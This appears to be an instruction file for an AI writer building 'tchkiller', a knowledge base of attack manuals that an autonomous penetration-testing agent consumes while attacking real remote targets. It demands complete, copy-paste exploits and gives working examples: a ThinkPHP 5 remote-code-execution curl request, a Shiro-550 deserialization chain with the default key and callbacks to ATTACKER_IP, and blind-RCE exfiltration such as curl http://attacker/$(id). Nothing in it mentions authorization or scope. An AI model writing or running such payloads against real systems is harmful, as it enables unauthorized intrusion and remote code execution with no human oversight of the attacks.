vulndb-writer

# Vulndb Writer You are writing entries for tchkiller's vulnerability knowledge base — a structured collection of attack manuals that a penetration testing AI agent reads during live engagements. Every entry you write will be consumed by an automated agent attacking a real remote target, not a human reading documentation. This distinction drives every design decision below. ## How the Agent Uses Vulndb The agent discovers and reads entries through two MCP tools in sequence: 1. **`search_vulndb(query="shiro 反序列化")`** — FTS5 full-text search across title, product, tags, fingerprint, and body. Returns a summary list (id, title, severity, version). 2. **`read_vuln(id="Shiro-550")`** — Reads the full markdown entry for exploitation. This means: **title and fingerprint determine whether the agent finds your entry**, and **Payload + 验证方法 determine whether it can exploit the target**. Write both with care. ## Core Principle **Everything you write must be executable by an attacker who has only network access to the target.** The agent can only send HTTP requests, craft payloads, set up listeners, and observe responses. It cannot SSH into the target, run `docker exec`, read server logs, or access the filesystem. If a step requires physical or shell access to the target machine, it's useless to the agent and must be rewritten as something network-observable (curl response check, DNS/HTTP callback, etc.). For the full architecture (index schema, MCP tools, search fallback logic), see `VULNDB.md` in the project root. ## Entry Format Each entry is a single `.md` file with YAML frontmatter followed by structured markdown sections. ### File Location ``` vulndb/{category}/{product}/{VULN_ID}.md ``` - **category**: `web` (web apps, OA, CMS, ERP), `middleware` (servers, frameworks, databases), `network` (protocols, devices), or `ai` (AI/ML platforms, LLM tools) - **product**: lowercase, hyphen-separated (e.g., `tomcat`, `spring`, `thinkphp`, `tongda-oa`, `langflow`) - **VULN_ID**: CVE ID, CNVD ID, or descriptive ID in UPPER-CASE (e.g., `CVE-2022-22965`, `THINKPHP-5-RCE`) ### YAML Frontmatter ```yaml --- id: CVE-2022-22965 title: Spring4Shell — Spring Framework Data Binding RCE product: spring vendor: Spring version_affected: "5.3.0 - 5.3.17, 5.2.0 - 5.2.19" severity: CRITICAL tags: [rce, 无需认证] fingerprint: ["Spring", "Spring MVC"] --- ``` Field rules: - **id**: Matches the filename (without `.md`) - **title**: Concise Chinese or English, include CVE if applicable - **product**: Must match the parent directory name - **version_affected**: Specific ranges when possible (e.g., `"5.3.0 - 5.3.17"`). Formats like `"<= 5.18.2"`, `"< 2.0"`, `"all versions"` are all acceptable. Only `"未知"` or `"unknown"` with no further info is bad — research it. - **severity**: One of CRITICAL / HIGH / MEDIUM / LOW based on CVSS or impact - **tags**: Free-form descriptive tags. Always include an attack type tag (e.g., `rce`, `sqli`, `命令注入`) and an auth tag (`无需认证` or `需要认证`). Chinese and English tags are both fine; synonyms are acceptable — don't waste time normalizing them. - **fingerprint**: Strings the agent can grep in HTTP responses to identify the product ### Mandatory Sections Every entry must contain these 6 sections. Optional sections (指纹确认, 参考链接, 修复建议, etc.) can be added freely — they won't interfere and shouldn't be removed during audits. #### 1. `## 漏洞描述` Briefly explain the root cause and what an attacker can achieve. Keep it concise — a few sentences is typical, but use as many as the vulnerability warrants. #### 2. `## 影响版本` Bullet list of affected version ranges. Research the actual versions from NVD, vendor advisories, or changelogs. #### 3. `## 前置条件` What must be true for exploitation to succeed: - Authentication requirements (most important — always state explicitly) - Required configuration (e.g., "PUT method enabled", "debug mode on") - Network access requirements (e.g., "port 8161 accessible") #### 4. `## 利用步骤` Numbered steps forming a complete attack chain from initial access to impact. Each step should be a concrete action the agent can perform. Use as many steps as the attack chain requires. #### 5. `## Payload` The most important section. Provide complete, copy-paste-ready payloads: - Use `curl` commands wherever possible — the agent executes these directly - For binary protocols, provide the tool command (e.g., `ysoserial`, `sqlmap`) - Include multiple payload variants when applicable (different bypass techniques) - Use `{target}` or `target:port` as placeholder for the target address - Include HTTP headers, POST bodies, and encoding exactly as needed #### 6. `## 验证方法` How to confirm successful exploitation, **from the attacker's perspective over the network**: ``` RCE with output → curl + grep for uid=/whoami in response RCE blind → DNS/HTTP callback (curl http://attacker/$(id)) File write → curl the uploaded file path Info disclosure → curl endpoint, grep for sensitive patterns Auth bypass → curl protected resource without creds, check 200 SSRF → Point at attacker server, check callback Deserialization → JNDI/LDAP/RMI callback, check listener ``` The agent cannot run `docker exec`, read local files, or query databases on the target. If you're converting from a lab/vulhub source that uses these, replace them with network-observable verification (curl response, callback, or file access via HTTP). > **`localhost`/`127.0.0.1` rule**: Only a problem when used as the **target address** > (e.g., `curl http://localhost:8080/vuln` → should be `target:8080`). These are perfectly > fine inside SSRF payloads, Host header manipulation, unix socket calls, or internal service > references — those are part of the exploit, not the target address. ## Quality Standards A good entry enables the agent to go from "I found this product on the target" to "I have demonstrated impact" without any external knowledge: 1. **Payloads are complete** — no "refer to the PoC tool documentation" or "see GitHub for details" 2. **Payloads are self-contained** — if a tool like ysoserial is needed, show the exact command with all arguments 3. **Verification is network-observable** — the agent can confirm exploitation over the network 4. **Version ranges are researched** — not `"未知"` or vague hand-waving 5. **Steps are actionable** — each step maps to a concrete command or HTTP request ### Common Issues | Issue | Fix | |-------|-----| | `docker exec` / `docker logs` in verification | Replace with curl response check or callback | | `python3 poc.py` without inlined code | Inline the script or convert to curl | | `version_affected: "未知"` | Research actual version ranges from NVD/vendor | | `` | Replace with text description | | `localhost` as target address | Use `target` or `{target}` | ### Audit Cost/Benefit Rule When auditing existing entries, focus on issues that break the agent's ability to exploit targets. Skip cosmetic changes — tag synonyms, version format preferences (`<=` vs ranges), extra sections, section ordering, language choice, minor formatting. If the entry has complete working payloads and network-observable verification, it's good enough. ## Importing and Batch Processing - **Importing from articles/advisories**: Read `references/importing.md` for the full conversion workflow, source-specific extraction tips, and how to handle incomplete sources. - **Batch processing** (fix_plan.json, migration_plan.json): Read `references/batch-processing.md`. ## Post-Write Checklist After creating or editing entries: 1. **Rebuild the search index**: `cd <tchkiller-root> && python3 vulndb_index.py` 2. **Verify indexing**: output should show `✅ 索引构建完成: N 条漏洞 → vulndb.sqlite` 3. **Spot-check search**: query `vulndb.sqlite` to confirm the new entry is indexed ## Examples ### RCE with Direct Response ```markdown --- id: THINKPHP-5-RCE title: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞 product: thinkphp vendor: ThinkPHP version_affected: "5.0.0 - 5.0.22, 5.1.0 - 5.1.29" severity: CRITICAL tags: [rce, 无需认证] fingerprint: ["ThinkPHP", "ThinkPHP 5.x"] --- ## 漏洞描述 ThinkPHP 5.x 由于未正确处理控制器名，在默认配置（未开启强制路由）下可通过 URL 调用任意方法，导致远程命令执行。 ## 影响版本 - ThinkPHP 5.0.0 - 5.0.22 - ThinkPHP 5.1.0 - 5.1.29 ## 前置条件 - 无需认证 - 目标未开启强制路由（默认配置） ## 利用步骤 1. 通过 `\think\app/invokefunction` 路由调用 `call_user_func_array` 2. 传入 `system` 函数和要执行的命令 ## Payload curl "http://target:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" ## 验证方法 curl -s "http://target:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" | grep "uid=" ``` ### Blind RCE via Deserialization (Callback-Based Verification) This pattern covers the harder case — no output in the HTTP response, verification requires a callback. ```markdown --- id: Shiro-550 title: Apache Shiro RememberMe 反序列化远程代码执行漏洞 product: shiro vendor: Apache version_affected: "< 1.2.5" severity: CRITICAL tags: [rce, deserialization, 无需认证] fingerprint: ["rememberMe=deleteMe", "Set-Cookie: rememberMe"] --- ## 漏洞描述 Apache Shiro 使用硬编码 AES 密钥加密 RememberMe Cookie。攻击者可构造恶意序列化对象， 经 AES 加密 + Base64 编码后设置为 Cookie 值，服务端反序列化时触发任意代码执行。 ## 影响版本 - Apache Shiro < 1.2.5（使用默认密钥 kPH+bIxk5D2deZiIxcaaaA==） - 使用已泄露自定义密钥的更高版本 ## 前置条件 - 无需认证 - 目标使用默认或已知 Shiro 密钥 ## 利用步骤 1. 访问目标，检查响应头是否包含 `rememberMe=deleteMe`（确认使用 Shiro） 2. 使用 ysoserial 生成反序列化 payload（如 CommonsBeanutils1 链） 3. 用 Shiro 默认密钥 AES-CBC 加密 payload，Base64 编码 4. 将编码结果放入 `Cookie: rememberMe=<payload>` 发送请求 5. 通过 JNDI/DNS/HTTP 回连确认 RCE ## Payload # 生成反序列化数据（需要 ysoserial） java -jar ysoserial.jar CommonsBeanutils1 "curl http://ATTACKER_IP:8888/shiro_callback" > payload.bin # AES-CBC 加密 + Base64（使用 shiro_tool 或 Python 脚本） python3 shiro_exploit.py -u http://target:8080 -k kPH+bIxk5D2deZiIxcaaaA== -p payload.bin # 或者直接用集成工具 python3 shiro_exploit.py -u http://target:8080 -g CommonsBeanutils1 -c "curl http://ATTACKER_IP:8888/callback" ## 验证方法 # 在攻击机上启动监听，等待回连 nc -lvp 8888 # 发送 payload 后，如果收到 HTTP 请求，说明 RCE 成功 # 或使用 DNS 回连验证 # payload 命令改为: ping -c 1 shiro.ATTACKER_DOMAIN # 在 DNS 服务器上检查是否收到解析请求 ```